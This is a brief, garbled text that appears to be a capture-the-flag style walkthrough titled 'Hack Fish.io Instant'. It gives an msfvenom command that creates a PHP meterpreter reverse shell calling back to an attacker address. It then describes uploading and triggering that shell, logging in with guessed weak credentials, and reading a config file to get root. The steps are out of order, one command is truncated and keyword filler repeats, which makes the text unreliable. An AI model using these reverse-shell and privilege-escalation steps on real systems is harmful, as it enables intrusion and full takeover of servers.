Hack Fish.io Instant

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f raw > shell.php Uploading the shell to the server via the "Upload File" feature, we can then trigger the execution of the shell by accessing the uploaded file:

su root

http://10.10.10.15/admin Indeed, we find a simple login form. After attempting some common credentials, we manage to log in using the username admin and password password123 . hack fish.io

cat ~fish/config The file contains a password for the root user. We can now switch to the root user and gain full access to the system: msfvenom -p php/meterpreter/reverse_tcp LHOST=10

http://10.10.10.15/uploads/shell.php A meterpreter shell opens, allowing us to navigate the file system and escalate privileges. hack fish.io